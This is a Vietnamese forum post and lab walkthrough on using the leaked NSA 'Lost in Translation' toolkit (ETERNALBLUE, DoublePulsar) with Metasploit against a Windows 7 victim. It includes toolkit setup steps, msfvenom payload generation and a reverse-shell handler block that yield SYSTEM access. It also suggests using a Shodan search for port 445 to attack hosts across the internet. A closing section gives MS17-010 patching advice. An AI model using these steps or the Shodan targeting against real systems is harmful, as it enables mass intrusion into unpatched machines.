Tool khai thác lỗi SMB1 -SMB3 trên Windows XP đến 2008R2 - Lương Đặng (hvazone.com)

[Thảo luận][Hacking and Security]

• Như mọi người đã biết thì nhóm shadowbroker đã public tool khai thác lỗi Windows của NSA
  và đây là link tool
  Vì tool này có thể tấn công các server trên mạng nên mình xin ân bài viết đi,
  Và Các bạn chỉ nên test trên hệ thông lab của riềng mình tạo ra.

Kết hợp hai link :
link 1

GitHub

misterch0c/shadowbroker

shadowbroker - The Shadow Brokers "Lost In Translation" leak

• Các bạn cần cài đặt python 2.6 và pywin32 ( https://sourceforge.net/projects/pywin32/ )
  Sau đó chạy file FUZZBUNCH.bat trong link thứ 2 ,
  cuối cùng là chạy file fb.py
  Mình không biết viêt bái nên mượn bài của bạn #Hưng Nguyễn
  https://nightst0rm.net/2017/04/khai-thac-lo-hong-rce-trong-eqgrp-shadowbroker-voi-metasploit/

Các bạn có thể sử dụng kết hợp bộ tool này và Metasploit thi sẽ Attack được Victim .
Nêu các bạn muốn attack trên toàn hê thông mạng có thể sử dụng thêm
https://www.shodan.io/search?query=Port%3A"445"

Cuối tuần rồi có thông tin về NSA tool leak, ShadowBroker. Đang bế quan, quyết không màng thế sự, nhưng nhìn những dòng sau trong advisor của Microsoft khiến mình không thể kiềm được lòng: https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/

Thêm một ít thông tin:

ERRATICGOPHER is a SMBv1 exploit targeting Windows XP and Server 2003
ETERNALSYNERGY is a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)
ETERNALBLUE is a SMBv2 exploit for Windows 7 SP1 (MS17-010)
ETERNALCHAMPION is a SMBv1 exploit
ESKIMOROLL is a Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers
Exploit ngon vậy sao thể bỏ qua được (trâu già nhưng cỏ non thì phải cố gặm vậy). Tải nó về và đâm chọc khi còn hơi nóng (nhân tiện bạn nào làm FTP telecom cho mình hỏi cái là tại sao mình chỉ clone github với tốc độ 15kb bằng đường truyền FTTH 1 người dùng ???).

Trong bộ Leak tool EQGRP “Lost in Translation” gần đây nhất có Windows, đương nhiên là mình xem nó trước, và thực sự mình mới chỉ xem nó :)). Link thì trên mạng có rất nhiều, tuy nhiên có một chú ý là bạn chỉ chạy được tool này trên Windows. Để làm được điều này, trên máy tính cần cài thêm python 2.6.6 và pywin32 (Lưu ý chọn bản 32bit). Đây là kết quả sau khi giải nén ra trong thư mục windows:

Để thiết lập môi trường test, mình sử dụng máy victim là Windows 7_x64_SP1. Bắt đầu thực hiện exploit bằng việc thực thi fb.py và làm theo yêu cầu sau đó (một công việc mà bất kỳ ai sử dụng máy tính cũng đều làm được, trên mạng cũng có nhiều video hướng dẫn rồi nên mình không nói chi tiết nữa). Mình chọn exploit ETERNALBLUE (SMBv2 exploit for Windows 7 SP1 (MS17-010)), exploit thành công kết quả như sau:

Từ kết quả này, mình nghĩ ngay đến việc đi tìm chỗ gọi shell, và tuyệt vời hơn mình không tìm thấy được, lol. Sau 1 lúc google và tham khảo một số chỗ, thấy các bác Tây bảo là dùng Doublepulsar để thực hiện đẩy shell, backdoor… Tây nói thì theo thôi, thử test run shellcode và kết quả khá ấn tượng, màn hình xanh luôn (màu xanh biển đông, nơi cả bầy ghẹ đang sinh sống). Đến chiều nay có người bạn gửi cho link này: https://www.trustedsec.com/blog/equation-group-dump-analysis-full-rce-win7-fully-patched-cobalt-strike/. Tất nhiên với điều kiện tài chính lương vừa nhận xong đã trả nợ hết như mình thì đào đâu ra cobalt strike, kể cả crack. Vậy nên mình chuyển hướng sang xài Metasploit.

Mình sử dụng msfvenom để generate một payload dll (shell.dll). Lưu ý chọn payload đúng.

Copy qua máy windows tấn công. Bên cmd của fb.py lần lượt:

Với 0 là session đã exploit thành công. Có thể xem các session qua command session. DllPayload trỏ đến fie dll đã được mình gen. Sau khi thiết lập xong, trên máy metasploit thiết lập handler cho nó. Với những bạn nào đã quen xài msf thì nó khá thân thuộc:

1

2

3

4

5

6

7

8

9

10

11

use exploit/multi/handler

set PAYLOAD

set LHOST

set LPORT

set ExitOnSession false

exploit -j -z

Execute trên máy windows exploit:

Bump trên msf:

Oh, exploit thành công với quyền NT AUTHORITYSYSTEM. Khi một hệ thống bị tấn công thành công, với quyền này kẻ tấn công có thể làm mọi thứ với hệ thống của bạn (tạo chỗ đứng, tiến hành cài cắm, mở rộng ảnh hưởng sang các hệ thống khác…)

Cách khắc phục: Thực hiện ngay việc Update các bản vá lỗi mới nhất của MS trên các máy tính đang sử dụng hệ điều hành windows. Nếu vì những lý do vận hành, nghiệp vụ, chưa thể thực hiện việc Update các bản vá, thì thực hiện các Workarounds tạm thời. Chi tiết tham khảo thêm thông tin và patch của MS17-010 tại https://technet.microsoft.com/en-us/library/security/ms17-010.aspx.

Viết đến đây nghĩ đến cảnh chiến hữu đang hì hục đi bịt hàng trăm máy chủ mà không kìm được cảm xúc :)). Chúc các bạn trực chiến vui vẻ.